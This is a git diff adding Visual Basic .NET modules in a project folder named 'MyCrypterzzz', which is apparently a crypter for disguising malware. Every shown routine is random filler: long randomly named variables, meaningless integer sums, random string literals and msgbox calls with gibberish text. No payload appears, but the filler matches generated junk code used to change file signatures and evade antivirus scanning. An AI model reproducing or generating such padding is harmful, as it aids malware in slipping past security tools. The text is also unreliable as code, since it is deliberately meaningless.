xsqPasAWJohbGXSaIoYJUhSMOFdljqmeEloUFaIPjUEIRoBLrZWfExr As Integer = 7602295 + 993924 + 334120 + 334120 + Dim xsbfhTYZzZuKKJGpqSrQcXwFMZkQILMrb As Integer = 4806635 + 703338 + 534970 + 534970 + Dim zIuHdWZcDFIcInhFpEFiaHjxqqzHGcGEhLjxkVOzOpEmiyqKhLnafvMm As Integer = 703541 + Dim ucSnWbmqvTfLwqGcgzDahaycWfbjoaLeZRHuaqQnFktmXDrrQFztJCwx As Integer = 126466 + Dim lNNhippszNQ As Integer = 8671292 + 1105037 + 445234 + 445234 + Dim ZgTFjfAgAIyOsbZBsAoIlsLPGP As String = "ghfnewTqlBwtbvhylCTghuGpIayRdfJZshgpQ" + Dim bipzzBqrBbnzw As Integer = 4255792 + 646083 + 1015301 + 1015301 + Dim LqyrkVNAQRXrxZHbgPSMrypowthjBQThxVtAXSvfrrjtjpnFoOLHamDG As Integer = 653464 + Dim mWRvpjtMhTkkmpfrCrrMBIvBpelpPzBXqPoeffGvgoErkKDUqouTh As Integer = 653464 + Dim EHlrVgIGyxSWkxCZTrwTUxSBqhfmjYJwTmdTaITymiVCFDADrkmFNyeCT As Integer = 3392460 + 556347 + 556347 + 387978 + Dim RfzioxFBprujDcXDta As Integer = 5324789 + 757196 + 588827 + 588827 + Dim aBOagsgQsWQQCeubfSVopRGCFR As String = "IulUWpHBDZautIcpKOLCamxFAElknbbESgqnwOugTKmZlYGvyavFxHgRaDPPCWa" + Dim LIzWcMiuvHQCSXqgjcZxzzRPbtZdkmyFYbbvvsvBXSDtFLRoZxlDbRM As Integer = 750646 + Dim CxbmbTsOjswsnT As Integer = 9189446 + 1158894 + 1158894 + 499091 + Dim yhTuQbGfemguZzOxZjZtVEuzQx As String = "mPazFNpotibycMVsbkzVHMdRiAYIpzfnOCKzoMrlzYhAHM" + Dim GXqgkZoqDfsYjTxNYqbyJVncBTbaZIBhPMWrwGnJCeMYTMdnpOqPiXKh As Integer = 672161 + msgbox("NSvnpPeUMOzPQuxTYgZtukYWtDkDTgygtqeXWOGOyzONwWEcEJZodfszMwEqNaotwMgSlaJviCnttNkdYmozZCwjVjHsdUosCiwlqbGFyYSVQsKKNPPrqaFPBQnXVrTRvGUsvsUgdQyHUoyMFvwdldphntsuzTwFJhvAGATMEfaTNdWWkeeZQmV") + msgbox("JxgFnZZVcOylgTuVSBjDeyJwHDnlYQhegqXWZQEVHmnjkJRXHxxIfnGoeELeGktNSYWVnCdbFHFkXkAeKZkccBZHFeVsoaLztqhxgCufgPYDwfHeDXLpViCIxWshCkhlhjfailXOfTSIWmtBpzMnSPrlToCUlwKSxJqZjlMYPaNVlmMqlOPtHeunhndZdsupCbsQXlQEzumLeNNuEXwaeJNIEcuSUInyNqMTnSkyhQzqzzGKijEX") + Dim VPaAznpMNREhdHnbPAJbtqaepAHFHcIXErDiwIsSFLKwhyFFqja As Integer = 6706274 + 900790 + 240987 + 240987 + Dim JPgpTBnlvnsvDLxQxfsiEzhjEBjUm As Integer = 3910614 + 610205 + 441836 + 441836 + msgbox("mJcfXcMUgffyLzBGnsXJwbFVnbofrmHonsUVxGHjmMgDafyHMkvlTvmHkTOtjMYNzFqlMiXBzpJpCgsZzCGRsXInNfytduhVZpFkqdxCTIcSVYbrAqRJvcIuYEEoBDYtPscYKLUXwMuFdlrRvqVCfaKUmxleJlPVKWKyCfskwrciQLGALuKqCTBYrtohJTulCgWQwlJ") + msgbox("UtYDoIcFzgGvQocJFsNYOTpvEyLJwjeskIutIaAQhyIUANVnvnYITtUYLKwVvnfgtQtNMYgdoWNRjQCyCljjOGUFeouVXFdoWEwxTHSIfExQcTuNfjneJgOTBmPWosxhucHgesMdPSAXHZtVsvPRmVarHrZOwWHOROmPBFjbbPRChIVKVWKNFBaNhGVKCSeWVRjNsYEswwrTJwsWwNUeWAjVHfyaPGivplrpLXsPKPVlwSjsFYnhttVFQRCYrQpZHZGJPfV") + Dim OUNUSPMhXsSFvKRVVlyDyfuydPkFkbPhXWUIgtWKMHgyJpNTMwPTLSKT As Integer = 7775271 + 1011903 + 352100 + 352100 + Dim zHFHhGiMNfPLwyNTdCUPJQXlWXqcPvTNNzfWTxBdxYrKMXmJUsJQuvhItj As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim NWDLPVJtZbCxYKSJemShFghRkIOrFWHVGUWMpOdwqJJPQDcSppFhOePi As Integer = 719266 + Dim QwYFETxTRohuNmnoHpoXKcwytCGbJZvHcywphqVgfpBWetwZSEIbNeJ As Integer = 572008 + End Sub + + + Public Sub yYorRqaZDsHjakPSWWvYVePudJcMYp(ByVal XzKuDSlsuAedslorVFhVVHkAbShjUWpVsPgwdiOpgmdmkEK As String) + Dim jWYkWiinkuGMvXGTRErmud As Integer = 2496439 + 463213 + 294844 + 294844 + Dim hWvRJPJMdBawjTlquWeMiNCTEoSGyuq As Integer = 4428768 + 495694 + 495694 + 495694 + Dim oYofFLgANnNhGNmfPnWETMCRfrmIhRgciBYYkhhILgRUvkyJpfwhdCcI As Integer = 669190 + Dim pGaLgKqokzhEnIXzSnggCBIXhObMqOzdyozULHuoasGdyIPzHecBtDO As Integer = 992114 + Dim gxsSaYyUaSxnkExRbOoyZEVDSGhfUUBGybJJWUGDFpzbiYFDmV As Integer = 8293425 + 1065761 + 405958 + 775176 + Dim VUcvnKsBeVQlarlmIGZnNexAvc As String = "gJjZRZjDRhyKFDsUOfPnSkMEdnKwoTyWCJzSdvHEAtfywnQu" + Dim VliDQkpgEUaFWrWXUIzNmKLE As String = "fpUrqFzlVvDMoFncvrZzchvTTicdjPOquDBfdEBgmEktafwBqfXIdHgczXQsFJIb" + Dim mOfZLzQJxirDJkyRfynUQQcstCIgpqeZDgcmHKiHBegGkxnPkhoDEeqh As Integer = 619113 + msgbox("FsjjGeTHRVnfSdzMsAtBPerUjMoJoiTsdIixlgkniwkReaIgvIaywGorgYiiveoKvCJrllGUKDCCIjwanKjaFQCZKIZdApblwIOMUCHWmXsgTLqOIpYaFPKoHwPpUYJrVIzDBlPPCoIzYPRSvesuKLnEOXFOPnMyHjRMvwHUvizBoECGpNvdjNNqRTxtCpMatVShQqJHG") + Dim DsqgzmSkMVxJLRxExziLEQrdgCnfQqKRKPgkWrfPTGcHwQjxFIKWsin As Integer = 9362423 + 517071 + 517071 + 348702 + Dim krklYixzxpKhzvTp As Integer = 4946922 + 717920 + 1087138 + 1087138 + Dim qjuDaEcmtBshrRhYILbQOBuHNDBJEyXvKzfDKrlxxcAF As Integer = 6879251 + 918769 + 258966 + 258966 + Dim RJdadHqdNqtbMXXbNiReNUMqzKEormWFudJZOHYjlGySpUrvwupt As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("FRcGvXplNGmMsHdXWEBVrIGTWHFuggkLjhWyqQYcvacMJyewmadZxiJoroeWYRpbUNMmUlngbCkOXxOCsvOlKzsotkpQMpQfxKqLzpJzQAHZuQVWFqkYaJCOooYjqBjQUHMQhssRJmqKXjbAYdPhwPDvqFZOOdZRGMFnQedIyQZbJcbaKpvGOKnFhPoSIDhapMKoSdP") + msgbox("SnhlSNtzBLSmWMqFPBgQyMYevTTNIHoJKuHTAZbwWLgFmEwmXTJwTTDrCTNwJAXOekyNKVVWWmeimGnaYTAvtWFCdVOWxrbUIICiDaxOipIjetjJCCdhyyyIbRCiHVQeQOuoTaMoXLXWsHclXJIraEVXmTCWXbqaKcJYZbFWljMWgbTOeRzeesHHDNlXPOjfspsQUUhPhXSnjMYQaUQDljxrduRsLDkaQuIYhbiLXDcfj") + Dim FuKlVavBUFlGvWTYHPesMULVWbztCwKFEztrsADlyYXedRGwjoklBziS As Integer = 813476 + Dim WnpFggJLihDEoSpVTqoTDjNzMVfiaFRMdkWaYHvpZfDzRIZkVbpneMN As Integer = 753618 + Dim IIhIOuRbFvHATPiZxmDVFnnNvWfTzOGuVSJEvkntWwZiJihIJbiVkTE As Integer = 606360 + msgbox("xHQBuJuVaMLKIfYggKzZGjrSariFiOolPOVMpvSDaYqYIGVUclcVbCAyKGnCRvAlIGfTIZcpZqqLiZAJSCnsuzXeedCBkyrwYeXvJfHtesMOcsxsHeavPCnIiyoeBEybxPkhCBfpKivLBZwuJxECIzUGygbsoWhIEyqWFlZvSEMXimpVIOPwrvqRziHqPgpZsfKXdsTRtNcAacMZoZHpJWJQBBRWLBpsmRYMjZSrSSQTeOANQKEsXOeLtipysTAU") + Dim IhZjrZhaqOGhwmhbDHMkyTyYBRAtXWvthYCqvlaHLLxPZSzCslknVIQP As Integer = 7602295 + 993924 + 993924 + 334120 + Dim mvGnjWmhEOPxcxTlcRTbtRgOTpgNqijPJ As Integer = 4806635 + 703338 + 534970 + 534970 + Dim vZXhTtINccnnWFuNXlNlbLncRK As String = "tmCUsTpXqLKgXFVjagJirxcsosmnoxXjCONLsxQKjMPuvtiPfZBpdWwGlnnWjb" + Dim ODbrOYLLwPjPfyuIknTRaYDEGTYvmUCaKftlkyaxsIGlyvxXaRqgtnIC As Integer = 126466 + Dim WtydiWtXVIv As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim AOXYXVNBCKfbIKojwdxdSQvTK As String = "TyjKHbgsxyyvnuScpLRGoUpBTuglCwcBBTQrg" + Dim vJyEryPMCWrDf As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim OMeEVjGMxNtUDUgloZvRkjiTxxzNvYTUvexKKsCVHZGfiylszzutcck As Integer = 653464 + Dim GxZzhxIOBHkXTtaUkgSrlpRdsjyBcehLkQJhYvopRfIfPwwQTOLdZffm As Integer = 653464 + Dim ooVnUNNlUrxaejTfXwVThIhLnFIuUfnCRpQFHfXRtTTGHuCgRdfbHsxJRz As Integer = 9740290 + 556347 + 556347 + 387978 + Dim erulyAhwLpBytsmkK As Integer = 5324789 + 757196 + 757196 + 588827 + Dim UZOLFOUeDSZfPDbNXirMuTpRsr As String = "cWtYOmfWEUexbQRVOCbttYrZpoAxigSXphShxEYETrXlAddmEKRjqhTlXkdPbPXt" + Dim HYjURivbFlrocGcAuHibIKGVqZlZNUfRdKLfdCahBFJPNEYzpuxCZgj As Integer = 750646 + Dim OSnbXYqYkosiVD As Integer = 909288 + 1158894 + 1158894 + 499091 + Dim IRLJiivRqgGlpWnyqMtNXKfVJk As String = "otWzacEPFescqJylGGvrKqNkyglsGZQnflxOICIQQBHsXc" + Dim SsCVfdmAFcoORDplpYTrErrAIBIeBxKRWCGCDHHWrRWPVTQuFFqcyOMf As Integer = 672161 + Dim kfQtOMcxxmjmJcCgsondGsHoXIeexIQcdjsAwhBcTVmifVzVIbXnaL As Integer = 524903 + msgbox("rbKqQJPmHEaVSDEZBeEDxHfCVlRtNbEONFuciZGrCrztRCLnMxAKlVNrsxyxzYBOvNCIfRjBxqBvrqPVZWssGxRfhVGnoWFCXDdxPKTDaCbqytmOXCaRSOMGVJkepxnVZaRJshfnUdTsvnxEoruvcxTJqMejKeTGmiPIYJnsNWaRqQhFsustaIcbhjSHrSyqbQHPSOJmhrbrHNlFEWXZXLWwuoMFmUIRWZkcZbMMlHkJGWfUzcQ") + Dim gxBtZttjShkyQdvjSHPaLnxMSlTRHQxoaSbFhvPnzIykbjIIStz As Integer = 6706274 + 900790 + 900790 + 240987 + Dim NrLSyPPwAEQzoIJQNfajYVDODgfYQ As Integer = 3910614 + 610205 + 441836 + 441836 + Dim DBcIYElrJwatJwmdBjqfVaohlW As String = "TBVTfNIyPpsKDVauHuGOmNtlXLwvEwKFjsemlCNNnbWIACHUdCXqZqoKXx" + msgbox("IrNFsmzvipbVIjyGMBVbDgeNQpihfxRVKhFqycxrfyChVxZFargjHFejqOkfSyxLmOqcPRjzBJPuPpdGkVaJLIeKfsKeBCWgxWFXORzMneUkehsnSpKYHtqPxAHYNlUrALlfmDOnvwwTdiuTOinYLWqSgWdIQGULmQkvlFyPszqbzLVMhJElyFoVnZdZWwLuSEPQWzMjAdvmqRMBUbKwhLAEiyeDpcMNzuhyTYAsDkeaNqPWepmFgjWWpBGRTnjguHtNjCj") + Dim VHypHZXEQDkdRwiPdOnpAUOBQltluOdrWSdQdQsLsofoCBHMhbyERwb As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim mNLwWkbRbnZMgNzFLJQFcWCcbqLUEFlFhgsmrwSMimUCfDFvLsHyuabFru As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim VKYvLHsTIWiExjYSUuaaPLeNVz As String = "ZlQkQaXEBDCmrbLlktjJGSJFOPPHPHPmsiWdaNIMzYotCqbbbMsCnVCcLUMlgf" + Dim mxBDmOKOKwQulWxyofbEJWQImluXMUbpjrIKiaYbItGdTbVLEeDIwPPW As Integer = 572008 + End Sub + + + Public Sub GDJZVzQiRElhEDQXEBwXubtYXDoZch(ByVal JFQjswewIIoAMGXaZcBXocmcGuoYYdogpZcvUczxatPVGQXlB As String) + Dim rITPPmwycXosoJXZQgNupSoZoRTJUhLgYTOsnttDXJJmumKxjQtxuO As Integer = 2496439 + 463213 + 294844 + 294844 + Dim XEDuqpoaCMSUtbaJCjKpQqKofauqWTS As Integer = 4428768 + 664062 + 495694 + 495694 + Dim JhiQYHPJlvlIVQLeWcxYvzMzRCXYpIrZjDlLUPEKbyGFEqOuITVPmePS As Integer = 669190 + Dim dEPOkoNeTICefCsvZwojrPxqtEykadlGYMLSBJqbmamTdHlBJuwIchQX As Integer = 992114 + Dim UtreivXyHthUBzRaaWcWIRYDYDaRhnvvoCSEECwtZmRXbTSrTPcfGwKOZCb As Integer = 8293425 + 1065761 + 405958 + 405958 + Dim QxMMNIoRFWjkFVFhtaqkUGmuKxqKqjEUbrwCM As Integer = 5497765 + 775176 + 606807 + 606807 + Dim yqyqweqzapfgtMygpsNrWapvLMfoDeDzsPHdEEeytwfVHTiUFIbRuJho As Integer = 766371 + Dim TFPCXJTGdEIcLfPJSOQPpxjNvmIhiFSSnQeRCBwHRKcGMNObYVXJLVAF As Integer = 619113 + msgbox("ZHkwOBexRmDtjZgDtBBxDELhfyOdiYufLCpQKHjTtOaJvgQVflifVPKaZvAPgOpcTtyZTjQTGTjPnexAMYWMmgOEOBOmgXuUUEYdZMqTnbvVqHAeLXoTsswMfnuUKDwjUfQrPBtuEuoxtybBqpNTbgIsnPUiJoxOieCkckcsTgoQlkcNRkTkdfBsoOxQLyFYIJdCvsG") + Dim zvTmEgXEgfCxOEaFRbZYhpYSlcgDRnvbIrTYkalaaVJsjhbuZiZSTUMY As Integer = 3014593 + 517071 + 517071 + 348702 + Dim nUYayXTrGvfXZSnl As Integer = 4946922 + 717920 + 1087138 + 1087138 + Dim JjZCgdTBzuVBvYscCMPIlzDHGwyVftLgMTjejSLuKlbq As Integer = 6879251 + 918769 + 258966 + 258966 + Dim PmbbYjXlWEYHsBOEPNKoCkPAaohLQJHonuGoMOmovVIRJznPqp As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("tDKRPazvwkUxUpsgZaAeayJXwvHaLrFgGkCXvlJxFTkzQvtVWlNGyOKhnNflokBTQprBVbnAVvkLwJkFxXKrKcgqtABQVcNYmYEYdgoBHXwBCNReQsTFzUatbTxkvBqqhuQJIhOtdIvrUpqnrFQSFZsnBXtOEpmQRMEdzNNayJICpYJdoQczQamShXRYibCtEhuBqFopgjMEB") + msgbox("DwPxlWgrnUiCQcJyVmQfZrQwtqFgrBWDfqDXqRSRHgxQIytvdXltXlLcDLAhgRgHWHlcTFjOYLTVpRCggjnVoqnbTcRicUpYpEohIWicCSYmzNnBsgyjMowqCzeHXsBwzppIywQCHHnkbVABdVvCfNqOTkQXDURWOWOZePilCppkIYsb") + msgbox("oiLTGIWuVzFlgcAUlRsfDWRDMbaVtyTYwLhvGVuqhSrtDewbfoJbcUOkwfpAdQylInQypwscidSxRzZOGFygnOWhtkCMBpbtFtdByWhvTQxTCSpGHMMqZnoItboRzYYzzomrqeodSwDCJzegMhOqDLlLybFdlCUMQfrpHxiwHvzeffCRpviDITvqgBFzGqgaEMHdNzMSxDwpIwDctOrxlmobDlsUPmuLNqINBIOfBJVw") + Dim AtwncwJEetStbXmhqDkbGaYGjxFlpLecmTUboVGJcMZidDbLIqArWwIF As Integer = 813476 + Dim mUGmmiphXXtPGrnndLpSwtkLtmPLqSVGaMIzvPQmOiEFWjzqRIGsBwgM As Integer = 753618 + msgbox("MEGLdFTrrIxEQJkqdUUwujAqLBKwLPtldNOqbsIQtmLYpxmgWCjOORncEOnxYSRgWjyFByAWwpEpUytMhqRHLVpKFyodNuFgKxXHJmKqhLZCvicyLqNjoKBpUssHAIhuoClmKNrUgIBWtZFPOcIYtiXFpiSlAxuOQaERXTxkiJcENKKLnRMAufkIKlWriCaokiiYR") + msgbox("jgkKIodmRICnKzZyKRkmqBQDdnOuNbmcTJGgnVWuissftYdAIJsIDpSqmFnrKQbgriBvBOqmGWPpjoYusGBjKLmoYyxwzrXdzSbeTJTRgIavCjqhJUVueCGjhjBqHUlcqJJumkCQjXSyOPDQHNjEIbPTDglEPGxZCLuKfsQKwxBVbuTHUTsEaSKYQQYVcqdaSNusfsREXwZpJXBIPlbsrbQLtNlccaZsvqejUlANTxFuwzxhCsFInEctwyrQxJhqsVUW") + Dim kHNPuNKtMKdXoACaVENmNBNfVjOtlYqnBDowYCHHIHesFXgINCoBBuFn As Integer = 7602295 + 993924 + 334120 + 334120 + Dim FefdNUhQkIIbCZXFGDYFQHbPwGatuWGZo As Integer = 4806635 + 703338 + 534970 + 534970 + Dim YrKLeFrPdpIUUNKIgGHtFKjQufYLZHHhNzLnKeawokkwOvIYHKBxjrbZ As Integer = 703541 + Dim HbjnjVrHLpSgxjpJpwxfUOctenClTnKGnGvmtHwiXbmiQeuaKtQfws As Integer = 126466 + Dim aJWOdJJCaug As Integer = 8671292 + 1105037 + 445234 + 445234 + Dim dSwKjqMYcVKlilbFhnuxXQQad As String = "LfIsOZiCqitZgNXyoKiboSwkhxkwXIZcwCLeZ" + Dim ZdeJEMQzwIWFV As Integer = 4255792 + 646083 + 1015301 + 1015301 + Dim DOKMXlUUBCUhmqgcXmBFidTraNsvvTwrCgTBDwgBBVTgGqQUEMTdwvts As Integer = 653464 + Dim TLdNnbdrauoZyjLJBcIUXMXpqqBSTZEJONqEgZDndytnbYdWZoOjtb As Integer = 653464 + Dim LtpqAhRxjgfocMTpjccIIhxLaNUOUjEefuGhLzSjDmZYYcROGeaKSHHefR As Integer = 3392460 + 556347 + 556347 + 387978 + Dim EtWiHSPYsMqflFICGq As Integer = 5324789 + 757196 + 588827 + 588827 + Dim PIVnOLVYQsXktoOmSlWeEsKwTS As String = "FpZdcgJyGISlebnnvTwSxByfZtLjxabTKHmcebOIQqKSCtTsjuwgUBxjFWVUtg" + Dim uXgiQlQSNDDEVxkWpoWvhagTQiFZcXWgDSevOkqeQktdNePLkHGdcRlY As Integer = 750646 + Dim OtUGaPxDCrKFmX As Integer = 9189446 + 1158894 + 1158894 + 499091 + Dim QqYPwRItcisvRvgMffMjkTzVsC As String = "vSqCiSPTbXMEJRKkHWUuTZGHcTWeQzFKqhsHhYoXoNDsBXxzaXtpeABDsIxWb" + Dim MXStqBvdvWnEVvmLGmdDmlRppDDaCNrUEVtCEnCKxWbdfWrzfxxqvuoe As Integer = 672161 + msgbox("mHTShZZnPIrufNiOHvIhkbhUHTyLXKPzHWtkQuobZiwzkepksZMIPwucPiprqROBbZGsGiycnwttsfPdFFKpoOXDImWOUjwCXlTNWKEzzdWNFdVlwqoaFrSAGUzaknsNfvEmvwaLXgqXbTtksRLCprCumyEisZGxDYgKOoZZzJxMZfFqDQvo") + msgbox("ShctXzofKIPQjIDpBBJhBdHMJjUxqfMnhirxQCeIcDkgIYxkiFuftpEbvajoUmORsHjaUrlIUGEWhclJpCZNkORUUDaYgSDvSKeWpHOyVnMvVauaSqpeBTjbflkXAFxkfdJZBJvuUlfAfZMaFRDMfBeJWptnkLBIHOAEuffpgKkGzIqGOorgKuEQGXcoYSSIOYghHEWfTREiSHhMJOiJdhMpAsNxFHwgORaceNULxONCYHmoEBBPb") + Dim lEYccEOxCkSEqIwsWriloDOJnQLWDYlQYSDdFgFLFry As Integer = 6706274 + 900790 + 240987 + 240987 + Dim WzRQiXftNHSUlDwtnjKslXKOXWzAM As Integer = 2290773 + 441836 + 441836 + 811054 + msgbox("zsNGmxFdyzFWurjcwpTdyiAHvELRGOWftoEZyTrnpNOaaRhtVywflrMKaTGvVfUdXpKPujFIcGaywUcYqtAgsRFICjllXUsdVWUVmCyhUMLjMIMbLvNrbeftSZxBhiiVFihljgHYyUDMLJUYNNsKuzvTZFDqKuNBZWgHsdmXFXYaZvcFVKcfdxyfDPhhCWURUKsooJ") + Dim esqEZgMqcxKVhSHQusHICayXJXWditwDRZRLMmHCIopDWMrAlNSrMA As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim RYMeFYesgLcWjAkl As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim UbPEWZYhgYGNbrvRGnOMkVQIyn As String = "UDQEwxaToeQBqhsaQiePRkQkZOgvtZRILQVSWVDpNuzGLaBkpBuDztUkuBiCkIk" + Dim aApWkrRDSahVsjSrIPJZsTiLbCyjNnOldsFBUQFDYpvIsrWvrVPqylYJ As Integer = 719266 + msgbox("YxSeyQfBSOnjRkcTMPGotGiWWMNEUkCStmkTGLvFMRTVNeyuTxCYXSFkrTmtQLlnVrTUuaQFcVJuJkxvfKlivpZvnpLnVdtFhKOPEELowwoHymuViSHcmzyKnJpmKuqbdvjVscfZPVmJNikUcRWGjOLqkOQaxoJRNLlwUKuUUPbxeThtLXkFeaQFPaKC") + End Sub + +End Module \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/iXeLtGwIKruOFeYSryvT.vb b/scode (MyCrypterzzz/winini/iXeLtGwIKruOFeYSryvT.vb new file mode 100644 index 0000000..c5c369c --- /dev/null +++ b/scode (MyCrypterzzz/winini/iXeLtGwIKruOFeYSryvT.vb @@ -0,0 +1,165 @@ +Module iXeLtGwIKruOFeYSryvT + + Public Function aAkzPORzoizyOAeWVPuTLMLMWXPBEggmRGmucgDefNrYdqNOQNxStalgaYYkYNWPmlboFMKLelQUruPMHmkXVSrXbulXvwQrTrzvIiHjQGPBMpHEbnExANxZInvb(ByVal uXRybuQUWvQVYnLn As String) As String + On Error GoTo ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG + Dim MhRVwcvGncnPUULKIxOIExNcKCopLCyuKYsoNIQVrJMSBljKEyvpjP As Integer = 813476 + Dim SjpKuaUZFtRiqOqZsXUvmmJiQpvCkMztQXfgXySeJPIELnRJPkETiCC As Integer = 753618 + msgbox("OwnqOeNRxsJninzvrlxrvFKIwVajNBGlkEvnomnHEcKPOOUxwmFpqEKMaMQaEchCFoJyzSBWlFYKHylHdDdavxPTYFeYfmuJluEpZxJENHYxnbqdGFQczMcBKBxhJwwsSNkePRCCfVCcqxJPcKXkrBDqsBDCnqVCqgMArGTCoZCvgmBzgSnXbzxmTlRLNKhMeSxK") + msgbox("gBpxpMJEpMTDVxoaSemJuhvzrynNnJYPUQBWmUHTLTRoSGmlNZpZSGLchMLkxRGeiQETgnCkJgFvkvxXFtjfsPpYyCWFdxxDSsizhwqjWOuLnoIVWFRftFmZLSWUozpnipPlfcYMMaMFRUTdbQQvLJFbiPnzUEjdsPZyPNCMuXiyJUjoiiHxiKvZeBwNJvgVLaqHYmehiOlMFXCxFORFAqKOOmZgwGkIDfngvhGPsHwQtLcBHSWoAjzqBcyZVSuohlusV") + Dim THKmxySZGSpkGiJxdGeaqlAvjEKeMDemBFemVIEUKpPlhXhwWDHfIvsG As Integer = 7602295 + 993924 + 334120 + 334120 + Dim MoJTIhuZUXKkgYNTPiRbtxgVNyRKZuBk As Integer = 4806635 + 703338 + 534970 + 534970 + Dim KdTfdjdkihJbSFVRhVGTNkHzjsqwPytoubnRimodatflVWZhFKteHeV As Integer = 703541 + Dim fskrEOFqlwlXlYmtLsKrfIBRSSTouZIHpBzcQfFxBoqPpPBhSGlvTym As Integer = 126466 + Dim FdhcEjUJpzY As Integer = 8671292 + 1105037 + 445234 + 445234 + Dim nvJoobafILMMzlARkpRxXFDAkM As String = "cioarLKRTpCKnBfHWpKulXtKAIIOKeIgTnvzp" + Dim qgKqixrNZQfqc As Integer = 4255792 + 646083 + 1015301 + 1015301 + Dim lUiXuFIPcsCeNLeIDXJqHRYRmTDjYGRgisYUFapoBmVSNRxAluklDkua As Integer = 653464 + Dim iZRQcHgtozoeTMMugRjgZjtTXluznbYgEERdtJBrUzqExhEsMHkAAQu As Integer = 653464 + Dim JFkQwgHSDGieIeMImEOmJdiLzdlLmUNuKpoLmrDYuqusUnFYHundnaqzF As Integer = 3392460 + 556347 + 556347 + 387978 + Dim tHjoRRpkJpKHETsSPexzlYBsEmYCIqdEVGe As Integer = 5324789 + 757196 + 588827 + 588827 + Dim FULuyEemnuwlBkuyJvbRVXZzCt As String = "tvGUEubSrASeMjvWTaztRAZXcmXVTVLDwbsXGEvMEgUqfYsnFNxVfjFoFdakJCMM" + Dim ubiqjSsYLXpPEEYtpoDMikykwIEJKXPgzyLgnZQawrBWQeTsoLmQEWoO As Integer = 173571 + Dim iilGHeLECeIcz As Integer = 9189446 + 1158894 + 1158894 + 499091 + Dim jpZgcMadDxpknnAaRQkbJQUft As String = "UFFIXNxwWdbBEEkbgdOyEGyyGGoQxPeLaGxqucJyInkMLVeHyBXmtbYPfOkWy" + Dim lKizewdGrcCBQiMCgtXGYSJfTqWLkdRUnvylRsWmRwHxpUYGDbbmKWLq As Integer = 672161 + msgbox("yVsiUigtYjPChNWPJCHFKwwpNelTyYNWzvfdMaDmQnIHLyCJPUBmXgUkgLckWePJJIVdBnZwWNfxWjOBFBNShIxMVwiPrJgXVVLHLbZmYxxNVzfQZQIQnudyYpvzdrkyoBBjsWHjJmckgLBpCzmmMemhwflsFrsFibEvGobIsXMDMGEQTPUs") + msgbox("xkyYLjozFttxmkbtgVbjGHuVARyawIyJEdZpEMitLultyjbNnuZqxwmOJZWIqDbmmdcZSQnhsPfwmcPogsmdIohLVmvBMgRoLSWybvcbPZTcDCYSesKwqeuTLZJqLnkXCTvuiwRmFuqUyCQIINidwOnuHGAHpTsvmAounNTUptlGYZGRtYuFbncymCJjzTGQsjrhtsxiustTfOJBNwjMhvalZkZErioruoqqdTjxNBrWPmUrBqeQ") + Dim YmXwCiwCQRrqqezqjgGvGXaTGfrJbGThPjQHHZQgGL As Integer = 6706274 + 900790 + 240987 + 240987 + Dim WEPoymldkbocfaxpmeZJvWHybtKum As Integer = 3910614 + 441836 + 441836 + 441836 + msgbox("eSaWUdOKKylDRoGludVAppIoqLrExpUnHoxyJxrNlStmpxuZUrYRTZxofUnIRprHuvaWYFTkSfipQJnLKUupqoLgIaCQkJUXEvkLBjtVUtfikGmrfULnwQzKnmNzoeEfBxDmhRVQGSLmkWuMuzjZmPVjMveUkwZzIGUElQrICWFnLSRSnwOmJILIcYPIzBMlWeIZjQoY") + msgbox("ZIyxDEdSXPFXNlVDFXnjcbdSayTpuBrNjCBDWcauQyKEIVIbECLnRowOJNeHPFonKNsCEqygmsHcvlhBoXiblYLHRfMFiJzipdlHepbPfhdqakPNcsOBLFAoWRxhiOgZrvcXvzcwOmCaovsVLTUSCEraRJroxVPPzkVMdGDohzTVSNaVVJoimKygbCveWIQNwTsXGjYIhcynsGreRBRjcIqortRfcRTVeKEhCZXFKlzEiPbyvJMwvnDBGxMTikFnqZLRkPh") + Dim fMNRwyGuEXLLdrjIvaykQcQYrgTolsNhvLhMvxSdvVwMABhl As Integer = 7775271 + 1011903 + 352100 + 352100 + Dim FLdMFwfrTRGXTDxDZEHDusAImEPiYXmsbmumJEByojZFyYKAaRSdDRbfST As Integer = 9707600 + 552949 + 552949 + 552949 + Dim dzjfxCDDCZhlIPJgEpDxYuPzUIijJWLIZbAigTxlHFFXilEPvnquHTUH As Integer = 719266 + Dim egVMYBNralBIpJuHpNZHiVGWeXnTTfJpOceHtKckzgIQzPVGPYofKvM As Integer = 572008 + msgbox("kfJgstVxGmKoNhhJJopLkZKjgDbqJocgYFRIQPmMWFCNiqAUeawvQcMxjVFMUhWUoIDKbmLPmpLERVUpfcSzAhUFORKUkXoBrQobGNoUIRExWkkXWYNWqeXeTKBoLbnmEuvosPquNEqIwrTMlkYMFjNnCbxOybvkApHHelrDDfOfxlEHvVVDbgqyufwsmmnrfwAsXvmrRDKyZLGQcBufFQTSXpmIdBdRWiOfaqpTdsSufOnvIziYviNDMcJsYR") + Dim uGbZkjAjZdByqOzOWJhtOyjqdBtRryMDfGZPKlusaDLxKOCWExOJm As Integer = 2496439 + 463213 + 463213 + 294844 + Dim NszZJlitHuSYguNNAhZYzKezFxQImqh As Integer = 4428768 + 664062 + 495694 + 495694 + Dim CsuOrWYsWstxZxHnXFhalEnSrv As String = "UEYcWhtSXjnvRdsjENBePJtYiOTtwQBvDYDZfMuqPTCBBQyJxmaXpTLfiGQi" + Dim hTABquXtCJzRlQUwopNhvtvSzJWirlysBuTNQvygsbkCDoUpcORpLaKy As Integer = 992114 + Dim LjncoQGqEPoSNaGkQPGoAitKGhSlrvgEbjBitsUzbJxDRsstivqqfGTuUp As Integer = 8293425 + 1065761 + 1065761 + 405958 + Dim GshOgQlzrjlpLYpeAoEMojApPiiQgVcdUqbQU As Integer = 5497765 + 775176 + 606807 + 606807 + Dim dXCOYSqsPYxMDrJqpUbDYNSVHV As String = "SSxnMDwtGBcliaEVARIoQXzERsdCWoUHpzGEsapezXGUbLzcuqVwEcawTvufOmIqk" + Dim QsctXFHTOoxoszjqXPmyLbjWIymSSmgVTVgaywtJrOMNUfWRbSCFcge As Integer = 619113 + 